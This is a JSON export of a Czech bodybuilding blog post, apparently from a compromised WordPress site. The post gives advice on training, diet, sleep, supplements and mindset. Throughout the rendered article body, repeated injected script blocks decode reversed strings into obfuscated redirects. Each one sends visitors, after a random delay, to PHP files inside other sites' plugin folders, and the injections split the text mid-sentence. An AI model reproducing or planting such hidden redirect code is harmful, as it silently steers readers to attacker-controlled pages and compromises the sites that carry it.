$NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to se cvi\u010den\u00edm p\u0159eh\u00e1n\u011bj\u00ed. Pokud se sna\u017e\u00edte budovat svalovou hmotu, omezte po\u010det cvik\u016f proveden\u00fdch na danou svalovou partii na dva, pouze na z\u00e1da t\u0159i. Bude lep\u0161\u00ed, kdy\u017e sn\u00ed\u017e\u00edte po\u010det cvik\u016f, a naopak p\u0159id\u00e1te v\u00a0po\u010dtu s\u00e9ri\u00ed. To je opravdu extr\u00e9mn\u011b \u00fa\u010dinn\u00e1 cvi\u010debn\u00ed strategie. D\u016fle\u017eit\u00e9 je dr\u017eet se z\u00e1klad\u016f, svaly pak poros<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou rychleji. Pamatujte si, \u017ee k\u00a0r\u016fstu sval\u016f doch\u00e1z\u00ed b\u011bhem odpo\u010dinku, nikoliv p\u0159i tr\u00e9ninku.<\/p>\n<h2><strong>6. NAU\u010cTE SE NASLOUCHAT SV\u00c9MU T\u011aLU<\/strong><\/h2>\n<p>Aby va\u0161e svaly rostly, pot\u0159ebujete dos\u00e1hnout spojen\u00ed mezi mysl\u00ed a t\u011blem. M\u011bli byste pochopit zm\u011bny, kter\u00e9 prob\u00edhaj\u00ed ve va\u0161em organismu. B\u011bhem tr\u00e9ninku je t\u0159eba rozpozn\u00e1vat t\u011blesn\u00e9 pochody a podle <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho se za\u0159\u00eddit. Kdy\u017e se budete soust\u0159edit na svoje pocity, m\u016f\u017eete urychlit \u017e\u00e1douc\u00ed procesy.<\/p>\n<h2><strong>7. POZITIVN\u00cd MY\u0160LEN\u00cd<\/strong><\/h2>\n<p>M\u011bli byste si zachovat pozitivn\u00ed my\u0161len\u00ed. Neznamen\u00e1 <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, \u017ee budete neust\u00e1le \u0161\u0165astn\u00ed. To nen\u00ed nikdo. Kdy\u017e se nau\u010d\u00edte pozitivn\u011b myslet, znamen\u00e1 <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, \u017ee budete d\u016fv\u011b\u0159ovat sv\u00fdm schopnostem. Nau\u010d\u00edte se m\u00ed r\u00e1di sami sebe. Je tak\u00e9 d\u016fle\u017eit\u00e9, jak ji\u017e bylo \u0159e\u010deno, eliminovat ze sv\u00e9ho \u017eivota lidi, kte\u0159\u00ed v\u00e1s ni\u010d\u00ed a podkop\u00e1vaj\u00ed va\u0161i sebed\u016fv\u011bru. Nen\u00ed <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to lehk\u00e9, ale kdy\u017e se v\u00e1m <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to poda\u0159\u00ed, bude <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to d\u016fle\u017eit\u00fd krok k\u00a0va\u0161emu spokojen\u00e9mu \u017eivotu i k\u00a0tr\u00e9ninkov\u00fdm \u00fasp\u011bch\u016fm.<\/p>\n<p>&nbsp;<\/p>\n<p>M\u011bjte na pam\u011bti, \u017ee nikdo nen\u00ed zodpov\u011bdn\u00fd za v\u00e1\u0161 \u00fasp\u011bch \u010di v\u00fdsledky tr\u00e9ninku \u2013 pouze vy sami. V\u00fdsledky sna\u017een\u00ed z\u00e1vis\u00ed jen na v\u00e1s.<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dodr\u017eujte je a b\u011bhem t\u0159\u00ed m\u011bs\u00edc\u016f dos\u00e1hnete v\u00fdrazn\u00e9ho n\u00e1r\u016fstu svalov\u00e9 hmoty. Za \u0161est m\u011bs\u00edc\u016f si v\u0161imnete nep\u0159ehl\u00e9dnuteln\u00fdch zm\u011bn v podob\u011b kvalitn\u00ed muskularity. D\u016eSLEDNOST V\u00a0TR\u00c9NINKU To je nejd\u016fle\u017eit\u011bj\u0161\u00ed faktor v\u0161ech \u00fasp\u011b\u0161n\u00fdch cvi\u010debn\u00edch program\u016f. \u010casto si mysl\u00edme, \u017ee n\u011bkdo dosahuje kvalitn\u00edch v\u00fdsledk\u016f, proto\u017ee m\u00e1 \u201eskv\u011blou genetiku\u201c. To sice tak\u00e9 m\u016f\u017ee b\u00fdt pravda, ale \u00fasp\u011b\u0161n\u00ed b\u00fdvaj\u00ed p\u0159edev\u0161\u00edm ti sportovci, kte\u0159\u00ed vynikaj\u00ed ve vytrvalosti, soust\u0159ed\u011bn\u00ed a d\u016fslednosti\u2026.a to jak v\u00a0posilovn\u011b, tak v\u00a0kuchyni. Bez ohledu na va\u0161e genetick\u00e9 schopnosti budovat svalovou hmotu, v\u011bt\u0161inou m\u016f\u017eete nabrat v\u00edce sval\u016f, ne\u017e se v\u00e1m kdy snilo, kdy\u017e budete v\u00a0tr\u00e9ninku dostate\u010dn\u011b d\u016fsledn\u00ed. Z\u00e1kladem je pravideln\u00fd tr\u00e9nink t\u00fdden za t\u00fddnem, m\u011bs\u00edc po m\u011bs\u00edci, cel\u00fd rok. 2.\u00a0STRAVA Mus\u00edte j\u00edst vhodn\u00e1 j\u00eddla s\u00a0\u017eeleznou pravidelnost\u00ed, jinak nem\u016f\u017eete budovat svaly. Tvrd\u00fd a n\u00e1ro\u010dn\u00fd tr\u00e9nink bez odpov\u00eddaj\u00edc\u00ed stravy va\u0161emu t\u011blu svaly nep\u0159id\u00e1. Svaly pot\u0159ebuj\u00ed hodn\u011b kvalitn\u00edch b\u00edlkovin, sacharid\u016f a tak\u00e9 vhodn\u00fdch tuk\u016f, aby mohly r\u016fst. Lid\u00e9, kte\u0159\u00ed obt\u00ed\u017en\u011b buduj\u00ed svalovou hmotu, obvykle nemaj\u00ed moc chu\u0165 k\u00a0j\u00eddlu. Pro ka\u017ed\u00e9ho plat\u00ed, \u017ee je nutn\u00e9 konzumovat v\u00edce men\u0161\u00edch porc\u00ed v\u00a0pr\u016fb\u011bhu cel\u00e9ho dne. U zmi\u0148ovan\u00fdch hardgainer\u016f se dostanete i na osm porc\u00ed za den. A opravdu nemus\u00ed j\u00edt o velk\u00e9 porce, sta\u010d\u00ed p\u00e1r vajec natvrdo, jogurt nebo cottage s\u00fdr, sendvi\u010d nebo proteinov\u00fd n\u00e1poj. P\u016fjde to, nebojte se, nebude pro v\u00e1s probl\u00e9m j\u00edst \u010dast\u011bji. Dob\u0159e ud\u011bl\u00e1te, kdy\u017e si j\u00eddeln\u00ed\u010dek budete pl\u00e1novat tak t\u00fdden dop\u0159edu. Vyplat\u00ed se to kv\u016fli n\u00e1kup\u016fm a tak\u00e9 proto, \u017ee si m\u016f\u017eete bez pot\u00ed\u017e\u00ed \u0159adu j\u00eddel nachystat s\u00a0p\u0159edstihem. 3. SP\u00c1NEK\/ODPO\u010cINEK N\u00e1ro\u010dn\u00fd posilovac\u00ed tr\u00e9nink vytv\u00e1\u0159\u00ed ve svalech podm\u00ednky pro r\u016fst, k\u00a0n\u011bmu ale doch\u00e1z\u00ed pouze b\u011bhem odpo\u010dinku. Dostatek sp\u00e1nku je nezbytn\u00fd. Dokonce i dvaceti minutov\u00fd \u0161lof\u00edk m\u016f\u017ee m\u00edt stimuluj\u00edc\u00ed efekt ve smyslu budov\u00e1n\u00ed svalov\u00e9 hmoty. Svou roli sehraje i kvalita sp\u00e1nku. \u010cty\u0159i a\u017e \u0161est hodin hlubok\u00e9ho sp\u00e1nku je pro n\u00e1r\u016fst svalov\u00e9 hmoty \u00fa\u010dinn\u011bj\u0161\u00ed ne\u017e osm \u010di deset hodin sp\u00e1nku p\u0159eru\u0161ovan\u00e9ho a neklidn\u00e9ho. Sna\u017ete se ze sv\u00e9ho \u017eivota odstranit stres. Obklopte se lidmi, kte\u0159\u00ed jsou v\u00e1m oporou a nev\u00e1haj\u00ed nab\u00eddnout pomocnou ruku. Nebojte se p\u0159etrhat vztahy s\u00a0t\u011bmi, jen\u017e v\u00e1s pouze vys\u00e1vaj\u00ed. Nebude to mo\u017en\u00e1 snadn\u00e9, ale za \u010das budete r\u00e1di, \u017ee jste takov\u00e9 kroky podnikli \u2013 zejm\u00e9na kdy\u017e se na sebe pod\u00edv\u00e1te do zrcadla. 4. SUPLEMENTACE Krom\u011b toho, \u017ee byste m\u011bli p\u0159ehodnotit sv\u016fj j\u00eddeln\u00ed\u010dek, je t\u0159eba v\u011bnovat pozornost tak\u00e9 v\u00fd\u017eivov\u00fdm dopl\u0148k\u016fm. Nejlep\u0161\u00ed je dr\u017eet se z\u00e1kladn\u00edch, osv\u011bd\u010den\u00fdch produkt\u016f. A.\u00a0\u00a0\u00a0 Glutamin a\/nebo aminokyseliny s\u00a0rozv\u011btven\u00fdm \u0159et\u011bzcem U\u017e\u00edvejte je pravideln\u011b. Prvn\u00ed, co byste r\u00e1no m\u011bli ud\u011blat asi p\u016fl hodiny p\u0159ed sn\u00eddan\u00ed, je vz\u00edt si d\u00e1vku glutaminu a BCAA. Glutamin p\u016fsob\u00ed nejl\u00e9pe na la\u010dno \u2013 a pak tak\u00e9 po tr\u00e9ninku. D\u00e1vka se m\u016f\u017ee m\u011bnit, ale sportovci o v\u00e1ze kolem 85 kg obvykle u\u017e\u00edvaj\u00ed 15-20 gram\u016f denn\u011b. B.\u00a0\u00a0\u00a0\u00a0 Kompletn\u00ed proteinov\u00fd pr\u00e1\u0161ek Je dobr\u00e9 volit b\u00edlkoviny z\u00a0r\u016fzn\u00fdch zdroj\u016f, kter\u00e9 t\u011blo opravdu obohat\u00ed, ale chybou nen\u00ed ani to, \u017ee u\u017e\u00edv\u00e1te striktn\u011b syrov\u00e1tkov\u00fd protein, ten je zdrojem snadno vst\u0159ebateln\u00fdch b\u00edlkovin. Nebojte se b\u00fdt ohledn\u011b b\u00edlkovin kreativn\u00ed, jako b\u00fdvali kulturist\u00e9 d\u0159\u00edv. Dejte do mix\u00e9ru p\u00e1r kousk\u016f ovoce, ml\u00e9ko, o\u0159\u00ed\u0161ky a p\u0159ipravte si kalorick\u00fd, v\u00fd\u017eivn\u00fd koktejl. Ten s\u00a0sebou nav\u00edc m\u016f\u017eete v\u00a0termosce nosit kamkoliv a p\u00edt ho b\u011bhem dne. C.\u00a0\u00a0\u00a0 Kvalitn\u00ed multivitamin, miner\u00e1lov\u00fd p\u0159\u00edpravek, a nav\u00edc je\u0161t\u011b vitamin C Pokud byste si mohli koupit pouze jeden suplement, pak by to m\u011bl b\u00fdt rozhodn\u011b multivitaminov\u00fd p\u0159\u00edpravek se zv\u00fd\u0161en\u00fdm obsahem vitaminu C. Pamatujte si, \u017ee na prvn\u00edm m\u00edst\u011b je kvalitn\u00ed strava, pak vitaminy a teprve potom nejr\u016fzn\u011bj\u0161\u00ed kulturistick\u00e9 suplementy. 5. M\u00c9N\u011a JE V\u00cdCE Mnoz\u00ed kulturist\u00e9 to se cvi\u010den\u00edm p\u0159eh\u00e1n\u011bj\u00ed. Pokud se sna\u017e\u00edte budovat svalovou hmotu, omezte po\u010det cvik\u016f proveden\u00fdch na danou svalovou partii na dva, pouze na z\u00e1da t\u0159i. Bude lep\u0161\u00ed, kdy\u017e sn\u00ed\u017e\u00edte po\u010det cvik\u016f, a naopak p\u0159id\u00e1te v\u00a0po\u010dtu s\u00e9ri\u00ed. To je opravdu extr\u00e9mn\u011b \u00fa\u010dinn\u00e1 cvi\u010debn\u00ed strategie. D\u016fle\u017eit\u00e9 je dr\u017eet se z\u00e1klad\u016f, svaly pak porostou rychleji. Pamatujte si, \u017ee k\u00a0r\u016fstu sval\u016f doch\u00e1z\u00ed b\u011bhem odpo\u010dinku, nikoliv p\u0159i tr\u00e9ninku. 6. NAU\u010cTE SE NASLOUCHAT SV\u00c9MU T\u011aLU Aby va\u0161e svaly rostly, pot\u0159ebujete dos\u00e1hnout spojen\u00ed mezi mysl\u00ed a t\u011blem. M\u011bli byste pochopit zm\u011bny, kter\u00e9 prob\u00edhaj\u00ed ve va\u0161em organismu. B\u011bhem tr\u00e9ninku je t\u0159eba rozpozn\u00e1vat t\u011blesn\u00e9 pochody a podle toho se za\u0159\u00eddit. Kdy\u017e se budete soust\u0159edit na svoje pocity, m\u016f\u017eete urychlit \u017e\u00e1douc\u00ed procesy. 7. POZITIVN\u00cd MY\u0160LEN\u00cd M\u011bli byste si zachovat pozitivn\u00ed my\u0161len\u00ed. Neznamen\u00e1 to, \u017ee budete neust\u00e1le \u0161\u0165astn\u00ed. To nen\u00ed nikdo. Kdy\u017e se nau\u010d\u00edte pozitivn\u011b myslet, znamen\u00e1 to, \u017ee budete d\u016fv\u011b\u0159ovat sv\u00fdm schopnostem. Nau\u010d\u00edte se m\u00ed r\u00e1di sami sebe. Je tak\u00e9 d\u016fle\u017eit\u00e9, jak ji\u017e bylo \u0159e\u010deno, eliminovat ze sv\u00e9ho \u017eivota lidi, kte\u0159\u00ed v\u00e1s ni\u010d\u00ed a podkop\u00e1vaj\u00ed va\u0161i sebed\u016fv\u011bru. Nen\u00ed to lehk\u00e9, ale kdy\u017e se v\u00e1m to poda\u0159\u00ed, bude to d\u016fle\u017eit\u00fd krok k\u00a0va\u0161emu spokojen\u00e9mu \u017eivotu i k\u00a0tr\u00e9ninkov\u00fdm \u00fasp\u011bch\u016fm. &nbsp; M\u011bjte na pam\u011bti, \u017ee nikdo nen\u00ed zodpov\u011bdn\u00fd za v\u00e1\u0161 \u00fasp\u011bch \u010di v\u00fdsledky tr\u00e9ninku \u2013 pouze vy sami. V\u00fdsledky sna\u017een\u00ed z\u00e1vis\u00ed jen na v\u00e1s. &nbsp;<\/p>\n","protected":false},"author":2,"featured_media":362,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,6],"tags":[30,29,27,16,21,28],"class_list":["post-361","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-treninky","category-vyziva","tag-bilkoviny","tag-protein","tag-suplementy","tag-svaly","tag-trenink","tag-vyzivy"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/361","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=361"}],"version-history":[{"count":1,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/361\/revisions"}],"predecessor-version":[{"id":363,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/361\/revisions\/363"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/362"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=361"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=361"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=361"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}